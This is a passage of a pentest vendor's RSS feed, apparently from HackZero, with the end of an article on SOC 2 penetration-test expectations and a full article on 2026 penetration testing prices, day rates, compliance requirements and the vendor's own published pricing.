$2,500 covering both the audit and the pentest has about 16 hours for the two
combined, which is why those reports converge on templated no-exception
findings. The 2026 audit-mill scandal (533 near-identical reports across 455
companies) made buyers actively hostile to that tier.&lt;/p&gt;
&lt;p&gt;A standalone attestation at the same headline number is a different thing, because the
testing was bought and paid for separately: the penetration test runs
continuously all year on its own subscription, the evidence arrives
pre-mapped to the controls, and every CPA hour goes to the audit. That is how
an independent attestation prices low without becoming a mill.&lt;/p&gt;
&lt;p&gt;The one legitimate way real testing gets cheap is stack ownership: AI
agents run the coverage and hackers in the loop validate what actually
exploits (public examples: a &lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;critical RCE in
velocity.js&lt;/a&gt;, published as
&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73649&quot;&gt;CVE-2026-73649&lt;/a&gt;,
an &lt;a href=&quot;https://hackzero.ai/learn/jsonpath-plus-rce&quot;&gt;RCE in JSONPath Plus&lt;/a&gt; fixed in &lt;a href=&quot;https://github.com/JSONPath-Plus/JSONPath/pull/266&quot;&gt;PR
#266&lt;/a&gt;, and a &lt;a href=&quot;https://hackzero.ai/learn/tough-cookie-cookie-leak&quot;&gt;cookie-leak
in tough-cookie&lt;/a&gt;, half a billion downloads a
month). That is &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;how
our pricing&lt;/a&gt; stays published and low without the report going
templated.&lt;/p&gt;
&lt;h2 id=&quot;how-soc-2-compares-to-the-other-frameworks&quot;&gt;How SOC 2 compares to the other frameworks&lt;/h2&gt;
&lt;p&gt;SOC 2’s soft expectation is the exception. Most other frameworks are
stricter, and if any of them is on your roadmap the pentest stops being
optional:&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Framework&lt;/th&gt;&lt;th&gt;Penetration test&lt;/th&gt;&lt;th&gt;Where it says so&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;SOC 2&lt;/td&gt;&lt;td&gt;Expected, not required&lt;/td&gt;&lt;td&gt;CC4.1 / CC7.1 points of focus&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PCI DSS v4.0.1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Required&lt;/strong&gt;, internal and external, annual plus after change, mandatory retest (&lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;explained&lt;/a&gt;)&lt;/td&gt;&lt;td&gt;Requirements 11.4.1 to 11.4.7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ISO 27001:2022&lt;/td&gt;&lt;td&gt;Not named in a clause, but implementation guidance says to “carry out regular, documented penetration tests”&lt;/td&gt;&lt;td&gt;ISO 27002 controls 8.8 and 8.29&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;HIPAA (today)&lt;/td&gt;&lt;td&gt;Not required&lt;/td&gt;&lt;td&gt;Security Rule, current text&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;HIPAA (proposed rule)&lt;/td&gt;&lt;td&gt;Annual test by a “qualified person” if finalized&lt;/td&gt;&lt;td&gt;90 FR 898, target July 2027&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FedRAMP (Rev5)&lt;/td&gt;&lt;td&gt;Required, by a 3PAO, annually&lt;/td&gt;&lt;td&gt;FedRAMP Pentest Guidance v3.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A useful consequence: a properly scoped penetration test is the one
artifact that satisfies evidence expectations across every framework on
that list. If ISO 27001 or PCI is coming, buy one test that covers both
sets of requirements instead of two thin ones. The
&lt;a href=&quot;https://hackzero.ai/compliance&quot;&gt;frameworks we test against&lt;/a&gt; and our
&lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;public benchmarks&lt;/a&gt; show how we scope that.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SOC 2 does not require a penetration test. Anyone who says otherwise is
paraphrasing a sales page, not the AICPA.&lt;/li&gt;
&lt;li&gt;Your auditor expects one, your customers increasingly demand the report
itself, and more than half of companies have had a report bounced for
thin testing.&lt;/li&gt;
&lt;li&gt;No certification is required of the tester. Organizational independence
and a readable methodology are what reviewers actually judge.&lt;/li&gt;
&lt;li&gt;Time it inside the observation window, early enough to fix and retest.&lt;/li&gt;
&lt;li&gt;Budget $4,000 to $25,000 for a real one-off test depending on surface.
Below that, at human day rates, you are buying a scan, and reviewers can
tell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More background: &lt;a href=&quot;https://hackzero.ai/learn/soc-2-compliance&quot;&gt;what SOC 2 compliance is&lt;/a&gt;, &lt;a href=&quot;https://hackzero.ai/learn/soc-2-cost&quot;&gt;what a
SOC 2 audit costs line by line&lt;/a&gt;, &lt;a href=&quot;https://hackzero.ai/learn/iso-27001-penetration-testing&quot;&gt;the same question for ISO
27001&lt;/a&gt;, &lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration testing cost in
2026&lt;/a&gt;, &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;what PCI DSS 11.4
requires&lt;/a&gt;, and &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;how our
pricing works&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>Penetration testing cost in 2026: the real price bands</title><link>https://hackzero.ai/learn/penetration-testing-cost</link><guid isPermaLink="true">https://hackzero.ai/learn/penetration-testing-cost</guid><description>Real 2026 penetration testing prices: $5,000 to $30,000 for a web app, the day-rate math behind every quote, and what changes when SOC 2 bundles the test.</description><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;how-much-does-penetration-testing-cost&quot;&gt;How much does penetration testing cost?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;A real penetration test costs $5,000 to $30,000 for a single web application
in 2026. Below about $4,000 you are almost always buying an automated scan
with a report cover.&lt;/strong&gt; Cloud environments run to $50,000 and beyond. Every
consultancy quote reduces to one formula: tester-days multiplied by a day
rate. Here is that math, including our own numbers.&lt;/p&gt;
&lt;p&gt;&lt;img  src=&quot;https://hackzero.ai/_assets/pentest-cost-verdict-graphic.B1koRVoj_cScHa.webp&quot; alt=&quot;Infographic of 2026 penetration testing prices: 5,000 to 30,000 dollars for a real web app, under 4,000 is usually a scan&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;auto&quot; width=&quot;1672&quot; height=&quot;941&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-price-bands-in-2026&quot;&gt;the price bands&lt;/a&gt; ·
&lt;a href=&quot;#the-day-rate-math-behind-every-quote&quot;&gt;the day-rate math&lt;/a&gt; ·
&lt;a href=&quot;#what-the-new-ai-pentest-wave-charges&quot;&gt;the AI pentest wave&lt;/a&gt; ·
&lt;a href=&quot;#why-two-quotes-for-the-same-app-differ-by-10x&quot;&gt;why quotes differ 10x&lt;/a&gt; ·
&lt;a href=&quot;#a-500-pentest-is-a-scan-with-a-cover-page&quot;&gt;the $500 pentest&lt;/a&gt; ·
&lt;a href=&quot;#what-compliance-actually-makes-you-pay-for&quot;&gt;what compliance makes you buy&lt;/a&gt; ·
&lt;a href=&quot;#our-prices-published&quot;&gt;our prices&lt;/a&gt; ·
&lt;a href=&quot;#how-a-real-pentest-gets-this-cheap&quot;&gt;how it gets this cheap&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-price-bands-in-2026&quot;&gt;The price bands in 2026&lt;/h2&gt;
&lt;p&gt;Almost no firm in this market publishes prices. Directories of hundreds of
providers list exactly zero rate cards, so every guide to this question is
vague. The bands below are the published data that does exist, and they
match what founders report paying.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/pentest-price-bands.svg&quot; alt=&quot;Range chart of 2026 penetration testing price bands per engagement type, from automated scans to cloud environments, compared on the same dollar scale with the new AI pentest wave, including HackZero at 299 to 499 dollars a month and 2,999 dollars per human-validated engagement&quot;&gt;&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What you are testing&lt;/th&gt;&lt;th&gt;2026 market band&lt;/th&gt;&lt;th&gt;What pushes you up the band&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Web application&lt;/td&gt;&lt;td&gt;$5,000 to $30,000&lt;/td&gt;&lt;td&gt;roles, payments, file handling, tenant isolation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;API&lt;/td&gt;&lt;td&gt;$6,000 to $30,000&lt;/td&gt;&lt;td&gt;endpoint count, auth models, third-party consumers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mobile app&lt;/td&gt;&lt;td&gt;$7,000 to $35,000 per platform&lt;/td&gt;&lt;td&gt;iOS and Android are separate engagements&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Network&lt;/td&gt;&lt;td&gt;$5,000 to $40,000&lt;/td&gt;&lt;td&gt;host count, internal plus external, segmentation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cloud environment&lt;/td&gt;&lt;td&gt;$10,000 to $50,000+&lt;/td&gt;&lt;td&gt;multi-account sprawl, IAM complexity&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Automated scan sold as a pentest&lt;/td&gt;&lt;td&gt;$300 to $2,000&lt;/td&gt;&lt;td&gt;nothing: the tool run costs the same everywhere&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The bands are from &lt;a href=&quot;https://deepstrike.io/blog/penetration-testing-cost&quot;&gt;DeepStrike’s 2026 pricing
guide&lt;/a&gt;, one of the few
firms that publishes them, and they have held for years. Here is the same
range on Hacker News in 2017:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$40k would be a pretty standard price point for a regular pentest.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is a &lt;a href=&quot;https://news.ycombinator.com/item?id=15005538&quot;&gt;security practitioner writing in
2017&lt;/a&gt;. Nine years on, the
consultancy mid-market still quotes the same numbers: the delivery model
changed, the day-rate economics did not.&lt;/p&gt;
&lt;h2 id=&quot;the-day-rate-math-behind-every-quote&quot;&gt;The day-rate math behind every quote&lt;/h2&gt;
&lt;p&gt;Strip away the sales language and every quote is the same calculation:
the tester-days your scope needs, multiplied by what the firm’s testers
cost per day.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/pentest-day-rate-math.svg&quot; alt=&quot;Diagram of the day-rate math behind penetration test quotes, showing a ten day web application engagement priced between 12,000 and 25,000 dollars&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-a-tester-day-costs&quot;&gt;What a tester-day costs&lt;/h3&gt;
&lt;p&gt;Work the published bands backwards: $5,000 to $30,000 for a web application
over the 4 to 12 tester-days such engagements take implies roughly $1,200 to
$2,500 a day. Junior-heavy shops sit at the bottom, senior boutiques and
brand-name consultancies at the top. A quote far below that range is not
defying economics; it is spending fewer person-hours on you, usually a
scanner’s.&lt;/p&gt;
&lt;h3 id=&quot;how-many-days-your-scope-needs&quot;&gt;How many days your scope needs&lt;/h3&gt;
&lt;p&gt;Day count is driven by attack surface, not company size. One login role, a
handful of forms and no payment flow is a 4 to 6 day test. Multi-tenant SaaS
with role hierarchies, integrations and file uploads is 8 to 12. The quote
call is really a surface census: arrive with an endpoint count, role list
and architecture sketch, because firms price uncertainty.&lt;/p&gt;
&lt;h2 id=&quot;what-the-new-ai-pentest-wave-charges&quot;&gt;What the new AI pentest wave charges&lt;/h2&gt;
&lt;p&gt;A generation of AI-led pentest companies entered the market in the last
two years, and the surprise is how little pricing changed. RunSybil
(founded by OpenAI’s first security hire, $40 million raised) publishes no
prices. Horizon3’s NodeZero is quote-only through sales and the AWS
Marketplace. Most of the wave rebuilt the consultancy playbook with a
faster engine. XBOW is the exception:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pricing starts at $6,000 so teams can test earlier and more often.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is &lt;a href=&quot;https://xbow.com/blog/pentest-on-demand&quot;&gt;XBOW’s launch pricing&lt;/a&gt;
for one machine-run, human-reviewed test, against their own market read of
$10,000 to $35,000 per typical engagement. How far the floor can drop is a
stack-ownership question: &lt;a href=&quot;#how-a-real-pentest-gets-this-cheap&quot;&gt;where our numbers come
from&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;why-two-quotes-for-the-same-app-differ-by-10x&quot;&gt;Why two quotes for the same app differ by 10x&lt;/h2&gt;
&lt;p&gt;Founders collect quotes of $6,000 and $60,000 for the same application;
neither is a scam, they price different amounts of work.&lt;/p&gt;
&lt;h3 id=&quot;methodology-depth-is-the-hidden-variable&quot;&gt;Methodology depth is the hidden variable&lt;/h3&gt;
&lt;p&gt;A black-box test attacks from outside with no credentials or source access.
A &lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;white-box test&lt;/a&gt; reads your code while attacking,
which finds deeper bugs in the same number of days. Ours is white-box by
default. When comparing quotes, ask which one you are getting: a $9,000
white-box test routinely outperforms a $25,000
&lt;a href=&quot;https://hackzero.ai/product/black-box&quot;&gt;black-box&lt;/a&gt; test on findings that matter.&lt;/p&gt;
&lt;h3 id=&quot;who-actually-does-the-testing&quot;&gt;Who actually does the testing&lt;/h3&gt;
&lt;p&gt;The person matters more than the logo. Big consultancies bill partner-grade
rates and staff junior testers; boutiques run senior people at similar
prices. &lt;a href=&quot;https://www.cobalt.io/blog/5-key-takeaways-from-the-2026-state-of-pentesting-report&quot;&gt;Cobalt’s 2026 State of Pentesting
report&lt;/a&gt;,
drawn from 1,500+ customers, shows how much delivery model matters:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Organizations with a programmatic model are 4.5x more likely to resolve
critical findings in three days or less compared to ad-hoc teams.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The same report found 40% of organizations still test primarily for
compliance. Even then quality matters, because the report gets read: see
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;why a scan gets bounced&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;a-500-pentest-is-a-scan-with-a-cover-page&quot;&gt;A $500 pentest is a scan with a cover page&lt;/h2&gt;
&lt;p&gt;At $1,200 to $2,500 a day, $500 buys a few hours, and the only thing
deliverable in a few hours is a tool run reformatted into a report. &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;PCI
DSS 11.4.1&lt;/a&gt;, the strictest
testing standard in production use, frames the bar as attacks “by a
competent manual attacker” (the standard is in the &lt;a href=&quot;https://www.pcisecuritystandards.org/document_library/&quot;&gt;official PCI document
library&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;A scan has value as hygiene between tests. Sold and submitted as a penetration
test, it fails: enterprise reviewers read the methodology page before the
findings and bounce reports that describe a tool run. Our &lt;a href=&quot;https://hackzero.ai/compare/manual-pentest&quot;&gt;manual pentest
comparison&lt;/a&gt; shows what a human-plus-AI engagement
covers that a scanner cannot. The exception that keeps $299 a month
honest: machine-hours instead of billed human days (&lt;a href=&quot;#how-a-real-pentest-gets-this-cheap&quot;&gt;how that
works&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id=&quot;what-compliance-actually-makes-you-pay-for&quot;&gt;What compliance actually makes you pay for&lt;/h2&gt;
&lt;p&gt;Compliance buys roughly two in five tests, so here is what each framework
actually obliges you to spend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SOC 2: $0 mandated, one test expected.&lt;/strong&gt; No criterion requires a
pentest, but your auditor expects a recent one inside your observation
window. The full analysis is in &lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration
test&lt;/a&gt;. Budget one real
test a year.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCI DSS: two tests plus retests, forever.&lt;/strong&gt; Internal and external
testing every 12 months and after significant change, a mandatory retest,
and 6-month segmentation tests for service providers: the &lt;a href=&quot;https://hackzero.ai/learn/pci-dss-penetration-testing-requirements&quot;&gt;clause by
clause breakdown&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HIPAA: annual testing is coming.&lt;/strong&gt; The &lt;a href=&quot;https://www.federalregister.gov/documents/2025/01/06/2024-30983/hipaa-security-rule-to-strengthen-the-cybersecurity-of-electronic-protected-health-information&quot;&gt;proposed Security Rule
update&lt;/a&gt;
(90 FR 898) would mandate a penetration test every 12 months. HHS’s own
impact analysis prices that test at $359.82 (3 hours at $119.94 an hour);
real market pricing is 15 to 80 times higher.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;our-prices-published&quot;&gt;Our prices, published&lt;/h2&gt;
&lt;p&gt;Hiding prices is how this market got opaque, so here are ours. One product,
two prices, split on headcount. Both include SOC 2 controls, continuous
monitoring, and an AI pentest every month, or unlimited pentests if you
bring your own Anthropic key, because the real cost of a run is model
tokens. Headcount is self-attested: no application, no approval, no
waitlist.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Who&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;What it includes&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Fewer than 10 people&lt;/td&gt;&lt;td&gt;$299 a month, or $2,990 a year&lt;/td&gt;&lt;td&gt;SOC 2 controls, continuous monitoring, one AI pentest a month, unlimited on your own Anthropic key&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10 people or more&lt;/td&gt;&lt;td&gt;$499 a month, or $4,990 a year&lt;/td&gt;&lt;td&gt;the same&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Human-validated pentest&lt;/td&gt;&lt;td&gt;$2,999 per engagement&lt;/td&gt;&lt;td&gt;hackers confirm exploitability and write the report, added on top of any plan, never a subscription&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SOC 2 attestation&lt;/td&gt;&lt;td&gt;from $2,500&lt;/td&gt;&lt;td&gt;paid straight to an independent AICPA-member CPA, never billed through us, which is what keeps the audit independent&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The math in the open. Under 10 people it is $299 x 12 plus a $2,500 CPA, so
$6,088 for the year, or $5,490 if you pay the year up front at $2,990. At 10
people or more it is $499 x 12 plus the same CPA, so $8,488, or $7,490 paid
annually.&lt;/p&gt;
&lt;p&gt;Both numbers sit against the $30,000 to $45,000 the
traditional three-vendor stack costs, and the plan runs a pentest every
month instead of the retail stack’s one or two. Want hackers driving a named
engagement on top? That is $2,999, once, per engagement.&lt;/p&gt;
&lt;p&gt;Still true: if you ship a few times a year, an annual $8,000 boutique engagement is the right
buy. A &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;20-minute call&lt;/a&gt; settles it; the full price list is on
&lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;/pricing&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;how-a-real-pentest-gets-this-cheap&quot;&gt;How a real pentest gets this cheap&lt;/h2&gt;
&lt;p&gt;The day-rate formula stops binding when the days are machine-days. We own
the whole stack: the attack agents, the exploitation toolchain and the
reporting tools are built in-house, so the marginal cost of a test is
compute plus senior review time, not tester-weeks plus scanner licenses
plus a sales process.&lt;/p&gt;
&lt;p&gt;AI does the coverage no human team can afford
monthly, and hackers in the loop validate that findings actually exploit,
then write the report reviewers actually read. The same stack, pointed at
hard targets, has
found privately confirmed vulnerabilities in NASA and Tor, a &lt;a href=&quot;https://hackzero.ai/learn/velocity-js-rce&quot;&gt;critical
remote code execution in velocity.js&lt;/a&gt;, an &lt;a href=&quot;https://hackzero.ai/learn/jsonpath-plus-rce&quot;&gt;RCE in
JSONPath Plus&lt;/a&gt; (&lt;a href=&quot;https://github.com/JSONPath-Plus/JSONPath/pull/266&quot;&gt;PR
#266&lt;/a&gt;, 12 million
downloads a week), and a &lt;a href=&quot;https://hackzero.ai/learn/tough-cookie-cookie-leak&quot;&gt;cookie-leak in
tough-cookie&lt;/a&gt;, half a billion a month. Its
runs on the 104-challenge XBOW
benchmark are &lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;public&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The catch, stated plainly: the
subscription buys AI-led testing with human validation. If you want hackers
driving a named engagement, that is a $2,999 add-on, once, per engagement,
which is still under the floor of the boutique bands above.&lt;/p&gt;
&lt;h2 id=&quot;how-to-buy-without-overpaying&quot;&gt;How to buy without overpaying&lt;/h2&gt;
&lt;p&gt;Five questions strip the opacity out of any quote:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;How many tester-days, at what day rate?&lt;/strong&gt; It makes quotes
comparable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Who is testing, by name?&lt;/strong&gt; You are buying a person’s week, not a
logo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Black-box or white-box?&lt;/strong&gt; Same days, very different depth.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Is the retest included?&lt;/strong&gt; If not, add 10 to 25% to the real price.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Show me a sanitized report.&lt;/strong&gt; Your customers and auditors will read
it; judge it before paying.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A real web application pentest costs $5,000 to $30,000 in 2026; cloud
environments run to $50,000 and beyond.&lt;/li&gt;
&lt;li&gt;Every human-led quote is tester-days times a $1,200 to $2,500 day rate;
cheaper means fewer human hours.&lt;/li&gt;
&lt;li&gt;Sub-$4,000 quotes at human day rates are scans. Reviewers can tell, and
reports get bounced.&lt;/li&gt;
&lt;li&gt;Compliance sets the cadence: annual for most frameworks, 6-month
segmentation for PCI service providers, continuous if you ship fast.&lt;/li&gt;
&lt;li&gt;Our prices are public: &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;$299 a month under 10 people and $499 at 10 or
more&lt;/a&gt;, with a human-validated pentest at $2,999 per engagement.
No quote call, no application.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More background: &lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration
test&lt;/a&gt;, &lt;a href=&quot;https://hackzero.ai/learn/soc-2-cost&quot;&gt;what a SOC 2 audit costs
line by line&lt;/a&gt;, and &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;how our pricing works&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item></channel></rss>